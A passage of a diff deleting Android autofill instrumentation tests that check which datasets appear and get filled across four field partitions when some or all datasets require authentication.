-                .onCell(2, 1, "4L2C1")
-                .onCell(2, 2, "4L2C2")
-                .onCell(3, 1, "4L3C1")
-                .onCell(3, 2, "4L3C2")
-                .onCell(4, 1, "4L4C1")
-                .onCell(4, 2, "4L4C2");
-            chosenOne = "P4D2";
-        }
-
-        focusCell(4, 1);
-        mUiBot.selectDataset(chosenOne);
-        expectation.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillMultipleAuthDatasetsInSequence() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build());
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth11)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        // Autofill it...
-        mUiBot.selectDataset("P1D1");
-        // ... and assert result
-        expectation1.assertAutoFilled();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P2D2");
-        // ... and assert result
-        expectation2.assertAutoFilled();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P3D1");
-        // ... and assert result
-        expectation3.assertAutoFilled();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                    .setField(ID_L4C1, "L4C1")
-                    .setField(ID_L4C2, "L4C2")
-                    .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Focus around different fields in the partition.
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        // Autofill it...
-        mUiBot.selectDataset("P4D2");
-        // ... and assert result
-        expectation4.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset and all datasets require auth,
-     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
-     * partition.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build());
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth11)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                    .setField(ID_L4C1, "L4C1")
-                    .setField(ID_L4C2, "L4C2")
-                    .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D2");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D1");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset and some datasets require auth,
-     * but they don't overlap, i.e., each {@link FillResponse} only contain fields within the
-     * partition.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsMixedAuthNoAuthNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L2C2, "L2C2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth22)
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build());
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, "L3C1")
-                        .setField(ID_L3C2, "L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger partition.
-        focusCell(3, 2);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, "L4C1")
-                        .setField(ID_L4C2, "L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "L4C1")
-                .onCell(4, 2, "L4C2");
-
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D2");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D1");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset - some authenticated and some
-     * not - but they overlap, i.e., some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the first.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsOverlapPickFirst() throws Exception {
-        autofillMultipleAuthDatasetsOverlapping(true);
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset - some authenticated and some
-     * not - but they overlap, i.e., some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the second.
-     */
-    @Test
-    public void testAutofillMultipleAuthDatasetsOverlapPickSecond() throws Exception {
-        autofillMultipleAuthDatasetsOverlapping(false);
-    }
-
-    private void autofillMultipleAuthDatasetsOverlapping(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "1l1c1")
-                        .setField(ID_L1C2, "1l1c2")
-                        .setPresentation(createPresentation("P1D1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth12)
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("P1D2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 22,
-                new CannedDataset.Builder()
-                    .setField(ID_L1C1, "2l1c1") // from previous partition
-                    .setField(ID_L2C1, "2l2c1")
-                    .setField(ID_L2C2, "2l2c2")
-                    .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth21)
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "2L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1"); // changed
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C2, "3l1c2") // from previous partition
-                        .setField(ID_L3C1, "3l3c1")
-                        .setField(ID_L3C2, "3l3c2")
-                        .build());
-        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth31)
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth32)
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P3D1"); // changed
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P3D2"); // changed
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "4l1c1") // from previous partition
-                        .setField(ID_L1C2, "4l1c2") // from previous partition
-                        .setField(ID_L2C1, "4l2c1") // from previous partition
-                        .setField(ID_L2C2, "4l2c2") // from previous partition
-                        .setField(ID_L3C1, "4l3c1") // from previous partition
-                        .setField(ID_L3C2, "4l3c2") // from previous partition
-                        .setField(ID_L4C1, "4l4c1")
-                        .build());
-        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
-                new CannedDataset.Builder()
-                        .setField(ID_L1C1, "4L1C1") // from previous partition
-                        .setField(ID_L1C2, "4L1C2") // from previous partition
-                        .setField(ID_L2C1, "4L2C1") // from previous partition
-                        .setField(ID_L2C2, "4L2C2") // from previous partition
-                        .setField(ID_L3C1, "4L3C1") // from previous partition
-                        .setField(ID_L3C2, "4L3C2") // from previous partition
-                        .setField(ID_L1C1, "4L1C1") // from previous partition
-                        .setField(ID_L4C1, "4L4C1")
-                        .setField(ID_L4C2, "4L4C2")
-                        .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth41)
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setAuthentication(auth42)
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
-                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        /*
-         * Finally, autofill and check results.
-         */
-        final FillExpectation expectation = mActivity.expectAutofill();
-        final String chosenOne;
-        if (pickFirst) {
-            expectation
-                .onCell(1, 1, "4l1c1")
-                .onCell(1, 2, "4l1c2")
-                .onCell(2, 1, "4l2c1")
-                .onCell(2, 2, "4l2c2")
-                .onCell(3, 1, "4l3c1")
-                .onCell(3, 2, "4l3c2")
-                .onCell(4, 1, "4l4c1");
-            chosenOne = "P4D1";
-        } else {
-            expectation
-                .onCell(1, 1, "4L1C1")
-                .onCell(1, 2, "4L1C2")
-                .onCell(2, 1, "4L2C1")
-                .onCell(2, 2, "4L2C2")
-                .onCell(3, 1, "4L3C1")
-                .onCell(3, 2, "4L3C2")
-                .onCell(4, 1, "4L4C1")
-                .onCell(4, 2, "4L4C2");
-            chosenOne = "P4D2";
-        }
-
-        focusCell(4, 1);
-        mUiBot.selectDataset(chosenOne);
-        expectation.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillAllResponsesAuthenticated() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final IntentSender auth1 = AuthenticationActivity.createSender(getContext(), 1,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 1"))
-                                .setField(ID_L1C1, "l1c1")
-                                .setField(ID_L1C2, "l1c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 1"))
-                .setAuthentication(auth1, ID_L1C1, ID_L1C2)
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 1");
-
-        // Prepare 2nd partition.
-        final IntentSender auth2 = AuthenticationActivity.createSender(getContext(), 2,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 2"))
-                                .setField(ID_L2C1, "l2c1")
-                                .setField(ID_L2C2, "l2c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 2"))
-                .setAuthentication(auth2, ID_L2C1, ID_L2C2)
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 2");
-
-        // Prepare 3rd partition.
-        final IntentSender auth3 = AuthenticationActivity.createSender(getContext(), 3,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 3"))
-                                .setField(ID_L3C1, "l3c1")
-                                .setField(ID_L3C2, "l3c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 3"))
-                .setAuthentication(auth3, ID_L3C1, ID_L3C2)
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 3");
-
-        // Prepare 4th partition.
-        final IntentSender auth4 = AuthenticationActivity.createSender(getContext(), 4,
-                new CannedFillResponse.Builder()
-                        .addDataset(new CannedDataset.Builder()
-                                .setPresentation(createPresentation("Partition 4"))
-                                .setField(ID_L4C1, "l4c1")
-                                .setField(ID_L4C2, "l4c2")
-                                .build())
-                        .build());
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .setPresentation(createPresentation("Auth 4"))
-                .setAuthentication(auth4, ID_L4C1, ID_L4C2)
-                .build();
-        sReplier.addResponse(response4);
